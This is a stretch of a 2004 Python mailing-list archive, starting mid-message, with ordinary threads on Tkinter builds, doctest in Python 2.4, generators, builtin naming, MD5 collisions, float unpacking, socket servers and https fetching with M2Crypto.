be modified to include this module > (which is an extension module implemented in C). Edit > Modules/Setup (read the instructions at the top, search for > _tkinter, read more instructions there, and follow the > instructions) and rebuild and reinstall. Make sure to > enable the _tkinter module as well as the TKPATH variable > definition. > * If it fails with an error from the dynamic linker, see > above (for Unix, check for a header/library file mismatch; > for Windows, check that the TCL/TK DLLs can be found).""" > > But I don't understand what "Edit Modules/Setup" means? Where is it ? > What is TKPATH? How can I modify it? You didn't compile your Python interpreter yourself, did you? The Setup file is in Python's source directory under the Modules directory. Open this file in a text editor and look for a line containing _tkinter. Read the comments after this line; they should be self-explanatory. If you modify the file, you'll have to re-compile your interpreter. > Do you think my problem comes from that "Edit Modules/Setup" ? Or do you think that there is something else wrong ? Maybe, maybe not... Apparently, the tk library is found, so Python seems to be correctly configured. Maybe the problem is in the tcl/tk installation, but you should see that by running wish. HTH -- - Eric Brunel - PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com From ville at spammers.com Fri Sep 17 02:40:40 2004 From: ville at spammers.com (Ville Vainio) Date: 17 Sep 2004 09:40:40 +0300 Subject: too many self References: <4Kudnc-ZFdxUV9XcRVn-iA@powergate.ca> <10kjrvs2hmb19a5@corp.supernews.com> <1gk8aoc.1q5ydna134fs0hN%aleaxit@yahoo.com> <10kkc7hq9fuvt20@corp.supernews.com> Message-ID: >>>>> "aurora" == aurora writes: aurora> I'm not making any serious criticism on the language or aurora> how it should do name binding. I'm ranting about having to aurora> attach a prefix to names often make simple things look aurora> complicated. An annoyance when it has to be done very aurora> often. You got the point? Why don't you write a preprocessor that converts every .foo to self.foo? -- Ville Vainio http://tinyurl.com/2prnb From tim.peters at gmail.com Sat Sep 4 20:09:38 2004 From: tim.peters at gmail.com (Tim Peters) Date: Sat, 4 Sep 2004 20:09:38 -0400 Subject: gmpy 1.0 for python 2.4 alpha 2 Windows-packaged In-Reply-To: <1gjj6pv.jq35ww5lr1jvN%aleaxit@yahoo.com> References: <1gjhex7.v1umq1aye02xN%aleaxit@yahoo.com> <1gjj6pv.jq35ww5lr1jvN%aleaxit@yahoo.com> Message-ID: <1f7befae04090417091e3c52de@mail.gmail.com> [Tim Peters, on the demise of doctest.master] >> Under a hopeful belief that nobody was using that anyway, I didn't >> gripe when Edward refactored it out of existence. This is the first >> time we've heard that anyone *was* using it! [Alex Martelli] > I guess gmpy just wasn't on your radar...! If you have no need for its > multi-precision and special-functions support, that's unsurprising. Since I live on Windows most of the time, I use Marc-Andre Lemburg's mxNumber. That comes with a pre-built GMP, so is that much less for me to screw up. I generally don't run package test suites on Windows anyway (the odds that something is uniquely broken on my particular WIndows box are too low). >> I suppose we could hack one back in, but I'd rather volunteer to >> rewrite the gmpy tests to use the stronger 2.4 gimmicks ... > Thanks, your offer is welcome and gladly accepted -- as long as all the > tests keep running under 2.3 just as well, of course. There will be a > lot of 2.3 around for a long time -- for example, Apple isn't going to > change the Python version they use in Panther, which is 2.3, at least > until they come out with Tiger, say in May next year, and since, as > usual, they'll change $150 or so for the OS upgrade, many people will > just keep running Panther (and therefore Python 2.3). Etc, etc. Nothing against 2.3 here, it's simply a surprise that anyone was using doctest.master. SourceForge is down at the moment, so I still don't know whether gmpy's use was essential or shallow. If it was essential, we'll have to hack a master workalike back in. It could be too that many projects stumbled into using doctest.master, but none yet bothered to try the 2.4 prereleases. > I do assume that it's easy to keep the hundreds of tests almost > unchanged, to avoid having to maintain them separately in two > versions, and support 2.3 and 2.4 with localized changes to the > small spots where the tests are run...? It should be easy indeed. Edward Loper and Jim Fulton (by way of Zope3) had thousands of doctests between them, and Python's test suite has more than a few too. None of those doctests had to be changed in any way. But none of them used doctest.master. This next *may* be relevant to gmpy. I'm aware of it but haven't seen an instance of it: """ >>> 1/0 Traceback (most recent call last): abc ZeroDivisionError: integer division or modulo by zero """ That doctest passes before 2.4, but no longer. I don't want to "fix" that, either, if someone has code like this. The problem is that a real traceback doesn't look like that. Python always indents the lines between the initial "Traceback" line and the exception detail line. This is important because 2.4 doctest supports multiline exception details, so needs a way to guess where the exception detail starts. Before 2.4, the exception detail had to fit on a single line, and doctest's guess was simply "the exception detail is the last line". In 2.4, it's "the exception detail starts with the first line following the Traceback line that's not indented relative to the Traceback line and that starts with an alphanumeric character". That covers all real tracebacks, and the rare but known-to-exist practice of representing omitted "File" lines with a left-aligned ellipsis. Bottom line is that such tests (if any exist) need to be rewritten. Starting the "abc" lines with one or more blanks is sufficient so that the test passes under all versions of doctest. From narshe at gmail.com Wed Sep 29 22:05:32 2004 From: narshe at gmail.com (Josh Close) Date: Wed, 29 Sep 2004 21:05:32 -0500 Subject: python connection to mssql from windows box Message-ID: <4a0cafe2040929190514b6e9fc@mail.gmail.com> Is there a python module that uses the mssql client tools to connect to mssql? When you install php on windows and you want mssql connectivity, you need the client tools and it uses that api to connect. I know there is an ADO connection for postgres to connect from windows, but that's different. Is there anything like this for python? -Josh From peter at engcorp.com Thu Sep 23 13:26:37 2004 From: peter at engcorp.com (Peter Hansen) Date: Thu, 23 Sep 2004 13:26:37 -0400 Subject: Question: How efficient is using generators for coroutine-like problems? In-Reply-To: References: Message-ID: Carlos Ribeiro wrote: > Now, just because I can do it does not mean it's a good idea :-) For > particular cases, a measurement can be done. But I'm curious about the > generic case. What is the performance penalty of using generators in > situations as the ones shown above? There shouldn't be a significant performance penalty, since generators set up the stack frame when they are created and reuse it, rather than creating a new one for each function call. They allow you to restructure your code more cleanly but without taking a big hit from extra function calls. But if you're concerned, there's always the timeit module to tell you exactly what you're facing... -Peter From mwm at mired.org Fri Sep 24 04:31:11 2004 From: mwm at mired.org (Mike Meyer) Date: Fri, 24 Sep 2004 03:31:11 -0500 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> Message-ID: Carlos Ribeiro writes: > I heed you to check Microsoft's documents on "how Longhorn will be > great" Another thing to check out is , an implementation of the interface described in Jeff Raskin's "The Humane Interface". No folder, no files, simplified everything. http://www.mired.org/home/mwm/ Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information. From carribeiro at gmail.com Sat Sep 4 16:35:09 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Sat, 4 Sep 2004 17:35:09 -0300 Subject: What about an EXPLICIT naming scheme for built-ins? In-Reply-To: <1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com> References: <864d370904090306333b53ef56@mail.gmail.com> <59e9fd3a04090307154bfd6fd8@mail.gmail.com> <1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com> Message-ID: <864d370904090413356356d84d@mail.gmail.com> Ok, I feel we're almost over on this one. I'll try summarize and reply to a lot of comments in a single message - it's the best I can do now. This thread started with a proposal for a explicit naming scheme for builtins. It ended up being pretty much a discussion about sorted() and reversed(); why are they named like that, and what options are available to change it. As it evolved, it turned out into a discussion about the merits of a sorting generator as a solution for some particular scenarios. What follows here is my analysis of each part of the problem. However, for the unpatient and faint of heart I will offer my conclusion in advance. If you want to read my reasoning, please be welcome. * I believe that the current naming (sorted() and reversed()) is not good enough, and can be improved; * Naming the current builtins sorted() and ireversed() would make things more consistent, while reserving a few options for future implementation; * A sorting generator can be a useful in some scenarios. A cookbook solution (in pure Python, using the heapq library as a backend) is a good proof of concept and may be enough for most needs. -------------------------------------------------------------- 1. (Re)Naming sorted() and reversed() ------------------------------------- I'm not totally satisfied with the current choice of names, consistency-wise. The differences between sorted() and reversed() are not immediatelly evident from their names alone. In my opinion: -- sorted() and reversed() should work similarly, returning lists. **This is not to say that a builtin to return a reversed list would be useful**. Clearly, returning an iterator for the reverse list is the best and most useful choice -- only the name that is not good enough. -- I've previously proposed naming the iterated versions xsorted() and xreversed(), but that was a bad idea -- the correct choice would be isorted() and ireversed(), to keep with itertools naming scheme. However, **it does not automatically means that a isorted() builtin would be useful** (more on this later). In short, I believe we have a (small) problem, and naming the current builtins sorted() and ireversed() would solve it. 2. Deciding whether isorted() and reversed() would make sense ------------------------------------------------------------- Implicit in the analysis of the item (1) is the assumption that there are four possible variations regarding sort and reverse, iterated and list-returning versions. Of those, two are already accepted as builtins, based on the actual real-world need to solve common situations: -- sorted() returns a sorted list -- ireversed() returns a iterator (please note that I'm following my own proposed naming scheme) Two variations are not currently implemented as builtins: -- isorted() -- would return a iterator -- reversed() -- would return a reversed list Although all variations are possible, it does not mean that they are useful or desirable. The missing variations can be easily written in terms of the existing ones. Currently, sorted() returns a list that can be iterated over. However, if only a part of the sorted list is needed, then sorted() incurs a penalty -- it always sorts the entire list (more on this later). As for reversed(), a simple idiom can be used to return a new, reversed list: reverse_list = [x for x in reversed(mylist)] To put the question bluntly, **is there any reason to implement either isorted() or reversed()**? The arguments (pro and against) are as follows: PRO: -- it's possible, and relatively easy to implement -- completeness -- consistency -- native implementation would perform better in some cases -- the existing idioms may not be immediately clear to the novice (see example above) AGAINST: -- just because it's possible does not means that it's a good idea -- more bloat in the standard library -- more builtins to pollute the namespace -- more thing for a novice to learn -- quoting Alex Martelli: practicality beats purity Given the arguments, I agree that it's better to leave it as it is (but changing the name of reversed() to ireversed(), as proposed on (1)). 3. The case for isorted() ------------------------- Over the last few posts of the thread the topic degenerated into a discussion about the relative merits of isorted() -- the generator version of sorted(). To sum up what was said: Q1: Is it possible to implement a sorting generator? To summarize what was said, -- a sorting algorithm *can* be adapted to work as a generator, **BUT** -- the current sorting algorithm used internally in Python is not adequate for this particular hack, **AND** -- this particular problem can be easily solved using heaps (that are now part of the standard library). Q2: Is it useful in the real world? A sorting generator is useful IF: -- you know you aren't going to need the entire sorted list; -- just a few elements will do. A particular situation is where you don't know in advance exactly how many elements you need; in this case, a sorting generator is probably the best approach. My gut feeling is that such a builtin would be useful, and in fact, could help to simplify existing code that uses a much more complicated and verbose approach. But then, I don't have Guido's track record when it comes to instinctive decisions on language design. My best bet, now, is writing a cookbook solution to implement a "pseudo-sort-generator" using the heapq library. It's a good proof of concept, and may help to illuminate the question with a practical tool. p.s.: [Alex Martelli] > If you hadn't responded publically I'd never would have > got a chance to object, so of course I don't mind!-) It's always a pleasure to have you participating, even after you have effectively killed most of my arguments :-) I just feel honored ;-) -- Carlos Ribeiro blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com From max at alcyone.com Tue Sep 7 18:08:30 2004 From: max at alcyone.com (Erik Max Francis) Date: Tue, 07 Sep 2004 15:08:30 -0700 Subject: %a format References: <413E0A4D.D1E91162@alcyone.com> Message-ID: <413E315E.EB27CA87@alcyone.com> John Lenton wrote: > and looking at ISO/IEC 9899:1999 (E), it's on page 278, ??7.19.6.1: My bad, I did an incomplete search. Sorry about that. -- __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/ / \ San Jose, CA, USA && 37 20 N 121 53 W && AIM erikmaxfrancis \__/ I always entertain great hopes. -- Robert Frost From nagendra.swamy at gmail.com Wed Sep 29 08:32:30 2004 From: nagendra.swamy at gmail.com (Nagendra) Date: 29 Sep 2004 05:32:30 -0700 Subject: Support for ODBC for Oracle through Python on solaris Message-ID: <1880e162.0409290432.bb0b95e@posting.google.com> Hi all, I need to access an Oracle database through a python script using ODBC drivers(currently i have eval copies of Easysoft and datadirect Oracle ODBC drivers). Desired platforms are solaris, linux. Is there any support in the python to do this or will i have to resort to a c/c++ program becuase python for UNIX doesn't support this. any pointers will be appriciated. Thanks in advance. Nagendra. From http Mon Sep 13 01:46:26 2004 From: http (Paul Rubin) Date: 12 Sep 2004 22:46:26 -0700 Subject: MD5 and SHA cracked/broken... References: <7xacvuyjfn.fsf@ruckus.brouhaha.com> <7xzn3udfsg.fsf@ruckus.brouhaha.com> Message-ID: <7xsm9mzpot.fsf@ruckus.brouhaha.com> Sam Holden writes: > Creating a collision of files containing some desired data plus a block > of "random" data is different than creating collisions of files that > contain purely "random" data. If you look at how md5 actually works, you'd see that remark is incorrect. The desired data at the beginning of the file causes the md5 chaining variables to have some particular value at the place where your random block goes. You then choose the "random" block to produce a collision starting with those values of the chaining variables. From then on for the rest of the file, the chaining variables at each block stay the same for both versions of the file. The known md5 attack produces colliding blocks that differ in only a few bits in specific locations, but that may well be enough to slip in a trojan, for example by using the flipped bit to modify a jump target, or to turn one kind of machine instruction into another. From gherron at islandtraining.com Fri Sep 17 02:33:01 2004 From: gherron at islandtraining.com (Gary Herron) Date: Thu, 16 Sep 2004 23:33:01 -0700 Subject: Running scripts without installing Python? In-Reply-To: References: Message-ID: <200409162333.01480.gherron@islandtraining.com> On Thursday 16 September 2004 12:14 pm, hepp wrote: > Is it possible to run a Python script in Windows without installing > Python on your machine first? If you just pick up the whole directory structure and put it on a machine that's never seen python, it will mostly work. Several things can fail, but there are work-arounds that are not too difficult: The module search path (stored by Python in sys.path) may not pick everything up. Running python.exe from the directory it resides in will mostly fix this up. Your python script may need to explicitly append some paths to sys.path before doing other imports. (Yuck -- but not too bad.) Windows won't find any of the DLL's that get installed in the system32 directory -- the work around is to decide on the working directory from which your scripts will be run, and copy any needed DLL's into that directory. Then windows will find them. I've successfully done this for an application that runs on both Windows and Linux, using PIL, numarray, PyOpenGL, GTK+, libglade, and gtglext, as well as buchnes of standard library things. It's not a picnic, but it can be made to work. Several pieces of win32all need special care. Gary Herron From elainejackson7355 at home.com Sun Sep 12 04:24:13 2004 From: elainejackson7355 at home.com (Elaine Jackson) Date: Sun, 12 Sep 2004 08:24:13 GMT Subject: open and shut case Message-ID: Can python close a web-browser window it opened itself? The window in question will be displaying a webpage that resides on the local computer, which is running Windows 98. Knowing a way to do this would really help me out. Peace From ialbert at mailblocks.com Fri Sep 3 17:02:38 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Fri, 03 Sep 2004 17:02:38 -0400 Subject: ANN: YAPDL In-Reply-To: <1gjiagl.6vfxje4byo3dN%aleaxit@yahoo.com> References: <2osh02-e6i1.ln1@eskimo.tundraware.com> <1gjiagl.6vfxje4byo3dN%aleaxit@yahoo.com> Message-ID: Alex Martelli wrote: > Python BUT would want to see points A, B and C changed: make your OWN > language, derived from Python but with all the changes you wish. As > If you want a new experimental language that's sort like Python, spin off your own -- > DON'T post here criticizing Python or trying to change it. This sounds very much like an excuse for not listening to criticism. It is also a somewhat of a conceited statement since not everyone has either the time or the expertise needed to start their own language. What then? Should those that can't make a better python just shut up? Is their view always wrong? This sort of (IMO flawed) reasoning: 'if you don't like it make your own' is often heard in the open source world. Arguably it is the cause of so many redundant and unfinished pieces of software that replicate 90% of each other's functionality yet lack the maturity that would make them useful The last thing the world needs is another python-like language with say braces or without decorators... Istvan. From ptmcg at austin.rr._bogus_.com Thu Sep 2 12:44:21 2004 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Thu, 02 Sep 2004 16:44:21 GMT Subject: read lines without the line break character at the end? References: Message-ID: "Wai Yip Tung" wrote in message news:opsdpjkwte433nmu at news.cisco.com... > When I do > > for line in fp: > > the line string usually has a '\n' at the end. In many cases I don't want > the line break character. I can trim it using > > if line.endswith('\n'): line = line[:-1] > > Given I do it so frequently I wonder if there is some builtin way to say I > don't wnt the line break character? > If you have a lot of lines, you will be better off testing the value of line[-1] instead of using endswith(). Here's some timeit results: line.endswith('\n') 0.124841844424 line[-1] == '\n' 0.057334940614 -- Paul From rschroev_nospam_ml at fastmail.fm Wed Sep 1 03:40:12 2004 From: rschroev_nospam_ml at fastmail.fm (Roel Schroeven) Date: Wed, 01 Sep 2004 07:40:12 GMT Subject: allowing braces around suites In-Reply-To: References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no> <1rk6vkeo5d.fsf@rovereto.ifi.uio.no> <87hdqok9i6.fsf@sinken.local.csis.hku.hk> <1rfz68ely9.fsf@rovereto.ifi.uio.no> <876574k7du.fsf@sinken.local.csis.hku.hk> <1r3c28ejis.fsf@rovereto.ifi.uio.no> <1rllg0cb3m.fsf@rovereto.ifi.uio.no> <874qmovxna.fsf@sinken.local.csis.hku.hk> Message-ID: Antoon Pardon wrote: > Op 2004-08-31, Ville Vainio schreef : > >>>>>>>"Antoon" == Antoon Pardon writes: >> >> Antoon> The nesting reflects the structure of the algorithm. If an >> Antoon> algorithm is best described by the nesting of a number of >> Antoon> control structures then i don't see how you are going to >> Antoon> remove that nesting. >> >>Functions and classes? > > > If you need a function or class just to avoid nesting, then IMO > you have only camoeflaged it. In order to understand what is > going on you still need to understand how the nesting of > a number of controls prroduce a certain result and when > you write a function just to avoid nesting it often enough > makes readablity harder. I disagree. I have never seen an algorithm that couldn't be neatly subdivided in blocks, or where at least a block could be isolated. And in my experience it always enhances the readability significantly. -- "Codito ergo sum" Roel Schroeven From john at grulic.org.ar Tue Sep 7 09:12:40 2004 From: john at grulic.org.ar (John Lenton) Date: Tue, 7 Sep 2004 10:12:40 -0300 Subject: Constants in Python In-Reply-To: References: Message-ID: <20040907131240.GB21637@grulic.org.ar> On Tue, Sep 07, 2004 at 05:06:58AM +0000, Brent W. Hughes wrote: > Warning: Newbie at work! > > I was planning to write some code something like this: > > class CTree: > LEAFSIZE = 4 > LeafNode = [None] * LEAFSIZE > KEY,DATA,LEFT,RIGHT = range(LEAFSIZE) > #--------------------------------------------------- > def Add(self,Node,SubTree): > Key1 = Node[KEY] > ... > > But then I realized that the last line (and many more similar lines) > would probably need to be writen thusly: > > Key1 = Node[CTree.KEY] > > I find this a little ugly, not to mention more typing. I suppose > I could move these lines: > > LEAFSIZE = 4 > KEY,DATA,LEFT,RIGHT = range(LEAFSIZE) > > out of the class and make them global, but this kind of runs > against the grain. > > Is there another way to deal with "constants"? not as far as I know. I'm just posting to underline what Andrew just said: you want to do self.KEY, not CTree.KEY; the latter is a disaster from a code reusability standpoint, because you just rendered your class unsubclassable. Well, not quite, but you certainly restricted it a lot. -- John Lenton (john at grulic.org.ar) -- Random fortune: Deliver yesterday, code today, think tomorrow. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 196 bytes Desc: Digital signature URL: From rkern at ucsd.edu Tue Sep 14 10:16:06 2004 From: rkern at ucsd.edu (Robert Kern) Date: Tue, 14 Sep 2004 07:16:06 -0700 Subject: IEEE 754 floats In-Reply-To: References: Message-ID: Dale Huffman wrote: > Is there a simple way to convert an IEEE-754 floating point ascii > string ( "0x40400000" = 3.0, 32bit ) into a float variable, without > writing a function to do the math. I have transferred this across a > network from a device I have no contol over and it sends all data as a > string. Everything I have tried just converts from hex to decimal and > adds a decimal point and a zero. > > string.atof("0x40400000") returns 1077936128.0 > > In case I'm not explaining clearly, what I'm looking for could be > coded in C as follows: > > int a = 0x40400000; > float *ap = (float *)&a; > > float myFloat = *ap; > > Sorry if the C offeded anyone in the Py crowd but I'm new to Python > and so far it rocks - I just don't have the basics down yet. Take a look at the struct module. E.g. In [6]: import struct In [7]: s = struct.pack('i', 0x40400000) In [8]: s Out[8]: '@@\x00\x00' In [9]: struct.unpack('f', s) Out[9]: (3.0,) You might have to worry about endian-related issues, of course, but the struct module allows you to handle the various cases. -- Robert Kern rkern at ucsd.edu "In the fields of hell where the grass grows high Are the graves of dreams allowed to die." -- Richard Harter From http Sun Sep 5 23:27:18 2004 From: http (Paul Rubin) Date: 05 Sep 2004 20:27:18 -0700 Subject: Fastest way to loop through each digit in a number? References: Message-ID: <7xisasdqll.fsf@ruckus.brouhaha.com> Rune Strand writes: You could try timing something like while n: n,d = divmod(n, 10) foo(d) That processes the digits in reverse order, of course. From dperl at rogers.com Wed Sep 1 15:38:41 2004 From: dperl at rogers.com (Dan Perl) Date: Wed, 01 Sep 2004 19:38:41 GMT Subject: initializing mutable class attributes References: <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> <8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> Message-ID: <5zpZc.159384$UTP.106388@twister01.bloor.is.net.cable.rogers.com> I found a small hole in the initial code suggestion and I fixed it. Try and find the difference: class test(object): def __new__(typ, *args, **kwargs): obj = object.__new__(typ) obj.attr1 = 666 typ.__init__(obj, *args, **kwargs) return obj class derived(test): def __init__(self, arg1, arg2): self.attr2 = arg1 self.attr3 = arg2 d = derived(111, 222) print d.attr1, d.attr2 print isinstance(d, test) So, what do people think about it? Alex, would this be good for a recipe in the Python Cookbook? Dan "Dan Perl" wrote in message news:CZoZc.159227$UTP.62107 at twister01.bloor.is.net.cable.rogers.com... > After all this discussion, what do people think about this code? > class test(object): > def __new__(typ): > obj = object.__new__(typ) > obj.attr1 = 666 > return obj > > class derived(test): > def __init__(self): > self.attr2 = 111 > > d = derived() > print d.attr1, d.attr2 > print isinstance(d, test) > > The output: > 666 111 > True > > At least it works. The 'test' superclass defines an instance attribute > attr1 and it initializes it with a default. The 'derived' subclass inherits > the attribute (implicitly, BTW ;-)) and that happens without an __init__ in > the superclass that would have to be invoked in the subclass. > > Dan > > From chrisks at NOSPAM.udel.edu Sun Sep 19 19:50:54 2004 From: chrisks at NOSPAM.udel.edu (Chris S.) Date: Sun, 19 Sep 2004 23:50:54 GMT Subject: python is going to die! =( In-Reply-To: <1095635849.649169.161680@k26g2000oda.googlegroups.com> References: <1095635849.649169.161680@k26g2000oda.googlegroups.com> Message-ID: Simon John wrote: > Don't feed the troll. > > If he needs an IDE, then he is not a programmer, he's a code monkey, > just like Java guys - they're a dime a dozen as they can't code, they > rely on the auto-completion and drag'n'drop of visual IDEs. That's a little unfair (and trollish) of IDE users. Microsoft doesn't spend millions developing it's IDEs just for fun. IBM doesn't support projects like Eclipse because they want more "stupid untalented code monkeys". An IDE can be invaluable in a large project. The near default availability of simplistic IDEs like IDLE and Pythonwin is be proof enough of their inherent value. From aleaxit at yahoo.com Tue Sep 7 10:50:37 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 7 Sep 2004 16:50:37 +0200 Subject: What about an EXPLICIT naming scheme for built-ins? References: <864d370904090306333b53ef56@mail.gmail.com> <59e9fd3a04090307154bfd6fd8@mail.gmail.com> <1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com> <864d370904090413356356d84d@mail.gmail.com> <9vbPBls/KDAD089yn@the-wire.com> Message-ID: <1gjr4uh.1535u0jhnwuraN%aleaxit@yahoo.com> Mel Wilson wrote: > In article , > Alex Martelli wrote: > >I don't understand why some people want to use list comprehensions > >instead of simple calls to list(). > > It's one more damned word to read. It under-uses the No way: newlist = list(somegenerator()) is three words (plus five punctuation characters), while newlist = [x for x in somegenerator()] is six words (plus five punctuation characters). > ability to notice visual patterns like = [ or + . It's one > step down the slope toward lisp, or to mathematics before > algebraic notation, when everything was written out longhand > in Greek. If you like "visual patterns" of punctuation characters, then you want (e.g.) Haskell, not Python -- [x | x <- xs] does indeed have few words (well, it would be pretty silly in Haskell, of course!), though not as few as 'list xs'. But the Python way _DOES_ lean way more to keywords than to punctuation, which is why we changed the vertical bars and <- into for and in WORDS when we stol^H^H^H^H borrowed Haskell's list comprehensions -- of course, it's easy to think of languages which are even more oriented to verbalization (Cobol's "ADD X TO Y GIVING Z" comes to mind), while Python tries to claim a Middle Way (hmmm, maybe APL or its descendants are what you want if you truly loathe words -- even Haskell does have its share of the latter, after all). So far, publically and privately, I had only heard from people basically saying they didn't even KNOW that list(seq) existed or worked the way it does, or that they just don't think of it. You appear to be the first to advance the thesis that people know that list(seq) is just the same thing (except way more concise, direct, and fast) than [x for x in seq] and deliberately choose the latter for your claimed reasons (starting with the implicit claim that such people are utterly incapable of counting words, which I find quite curious). Ah well, once again I'm left pining for the who-knows-when coming of Python 3.0, when (among other things) list comprehensions will disappear, and only generator comprehensions and the 'list' built-in will blissfully remain. Were it not for some dark threats about potential added features of 3.0, its promise of important conceptual simplification by the elimination of legacy features sounds SO sweet! Alex From jdhunter at ace.bsd.uchicago.edu Wed Sep 22 16:07:17 2004 From: jdhunter at ace.bsd.uchicago.edu (John Hunter) Date: Wed, 22 Sep 2004 15:07:17 -0500 Subject: socket timeout / m2crypto.urllib problems Message-ID: I have a test script below which I use to fetch urls into strings, either over https or http. When over https, I use m2crypto.urllib and when over http I use the standard urllib. Whenever, I import sockets and setdefaulttimeout, however, using m2crypto.urllib tends to cause a http.BadStatusLine to be raised, even if the timeout is set to be very large. All of the documents in the test script can be accessed publicly. Any ideas? Is there a better/easier way to get https docs in python? Thanks, JDH import urllib, socket from cStringIO import StringIO from M2Crypto import Rand, SSL, m2urllib #comment out this line and the script generally works, but without it #my zope process, which is using this code, hangs. socket.setdefaulttimeout(200) def url_to_string(source): """ get url as string, for https and http """ if source.startswith('https:'): sh = StringIO() url = m2urllib.FancyURLopener() url.addheader('Connection', 'close') u = url.open(source) while 1: data = u.read() if not data: break sh.write(data) return sh.getvalue() else: return urllib.urlopen(source).read() if __name__=='__main__': s1 = url_to_string('https://crcdocs.bsd.uchicago.edu/crcdocs/Files/informatics.doc') s2 = url_to_string('http://yahoo.com') s3 = url_to_string('https://crcdocs.bsd.uchicago.edu/crcdocs/Files/facepage.doc') print len(s1), len(s2), len(s3) From donn at drizzle.com Wed Sep 15 23:43:11 2004 From: donn at drizzle.com (Donn Cave) Date: Thu, 16 Sep 2004 03:43:11 -0000 Subject: socket function that loops AND returns something References: Message-ID: <1095306190.382800@yasure> Quoth Brad Tilley : | I have a function that starts a socket server looping continuously | listening for connections. It works. Clients can connect to it and send | data. | | The problem is this: I want to get the data that the clients send out of | the loop but at the same time keep the loop going so it can continue | listening for connections. If I return, I exit the function and the loop | stops. How might I handle this? | | def listen(ip_param, port_param): | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | while 1: | print "\nWaiting for new connection...\n" | s.listen(1) | conn, addr = s.accept() | print "Client", addr[0], "connected and was directed to port", addr[1] | data = conn.recv(1024) | # I want to get 'data' out of the loop, but keep the loop going | print "Client sent this message:", data | conn.close() Well, some people would address this problem by spawning a thread (and then they'd have two problems! as the saying goes.) It depends on what you want. Your main options: - store whatever state you need to resume, and come back and accept a new connection when you're done with the data - class SocketConnection: def __init__(self, ip_param, port_param): ... def recv(self): ... accept ... recv ... close return data - turn it upside down, call the processing function def listen(ip_param, port_param, data_function): ... data = conn.recv(1024) data = data_function(data) if data: conn.send(data) conn.close() ... - fork a new process (UNIX oriented.) ... pid = os.fork() if pid: wait_for_these_pids_eventually.append(pid) else: try: conn, addr = s.accept() s.close() conn_function(conn) finally: os._exit(0) - spawn a new thread (similar idea) Processes and threads will allow your service to remain responsive while performing tasks that take a long time, because these tasks will run concurrently. They do bring their own issues, though, and it isn't worth it unless it's worth it, which only you can tell. It's a pretty lengthy computation that takes so much time that a thread or process is really called for. If the inverted, functional approach suits your application, note that you can use a Python class instance here to keep state between connections - like, class ConnectionReceiver: ... def data_function(self, data): self.count = self.count + 1 print >> sys.stderr, 'datum', self.count ... ... receiver = ConnectionReceiver() listen(ip_param, port_param, receiver.data_function) Donn Cave, donn at drizzle.com From danperl at rogers.com Sun Sep 26 12:51:35 2004 From: danperl at rogers.com (Dan Perl) Date: Sun, 26 Sep 2004 12:51:35 -0400 Subject: HappyDoc not so happy? Message-ID: Does anyone know what is happening with HappyDoc? I downloaded the latest release (3.0 from April, 2003) but it cannot even be installed (there is a bug report for that already). Is anyone still working on it? What other similar tools for extracting documentation would you recommend? I find pydoc extremely rudimentary and I am using epydoc instead. However, I found a bug in epydoc that's a big thorn in my side (although it's a great tool otherwise) so I am looking for alternatives. I tried an older release of HappyDoc (2.1) but I'm not "happy" with it either and I find it definitely worse than epydoc. What is Zope using these days? HappyDoc advertises that it is used by Zope, but that's probably an old reference. I also found a reference to a ZAPIDOC project in Zope, but that seems to be dead too. From inderjitrai at yahoo.com Fri Sep 10 01:42:04 2004 From: inderjitrai at yahoo.com (someguy) Date: Fri, 10 Sep 2004 05:42:04 GMT Subject: python, javascript and mysql Message-ID: Hi all! I'm new to python so i'm hoping someone could help me out. I'm trying to use python for cgi. I have a page with pictures along the sides and a table in the middle. The pictures on the side change using javascript. What I want to do is populate that table by getting the records from mySql using python and then somehow populate my table on the page with these values. How do i pass these values from python back to javascript? Or do i have to generate the whole html code again in the cgi file? Thanks in advance From pfortin at pfortin.com Tue Sep 21 00:26:03 2004 From: pfortin at pfortin.com (Pierre Fortin) Date: Tue, 21 Sep 2004 00:26:03 -0400 Subject: MAC address References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au> <200409201005.25963.heikowu@ceosg.de> <414efed5$0$60631$a1866201@newsreader.visi.com> <414f7c66$0$60638$a1866201@newsreader.visi.com> Message-ID: <20040921002603.15d24a03@gypsy.pfortin.com> On Tue, 21 Sep 2004 11:14:41 +1000 Ajay wrote: > i suppose i should clarify again that the question is not in the context > of the Internet but a wireless LAN. > within a LAN, if i were to open a socket connection with a server and > send some data to it, the server would be able to pick up my MAC and IP > address. > so what i want to do is to anonymize the MAC by picking a random (but > valid) MAC address and using that. after that i will anonymize the IP. The type of LAN is immaterial to what you are proposing. Whatever MAC address (excl. broad-/multi-cast) you pick, the server should only snarf it if you send some packets to the server (unless the server is also running some sniffer code). As long as you _do_ try to talk to the server, whichever MAC you use *will*be*known* to the server -- it's the only way you can get a response... if you could change just your Tx MAC and not your Rx MAC, the server would respond to your known-to-the-server MAC address; but your machine wouldn't hear it cuz it'd be listening on a different MAC (Rx)... You can't "anonymize" if you plan to have a _conversation_ with the server... well, actually, it _might_ be possible if you set your MAC to the broadcast address (that's about as "anonymous" as you can get; and not at all appropriate!)-- however, each packet _from_ the server to your 'address' (broadcast) will be heard by every other machine on the LAN -- no guarantees that some other box won't respond (ICMP error or some unexpected gibberish) to the server and mess up your 'anonymous' connection. To make this relative to Python: yes you can use Python to change your MAC if your hardware and OS support it; but you can't use the change for the purpose you indicate. -30- From programmer.py at gmail.com Fri Sep 10 11:24:56 2004 From: programmer.py at gmail.com 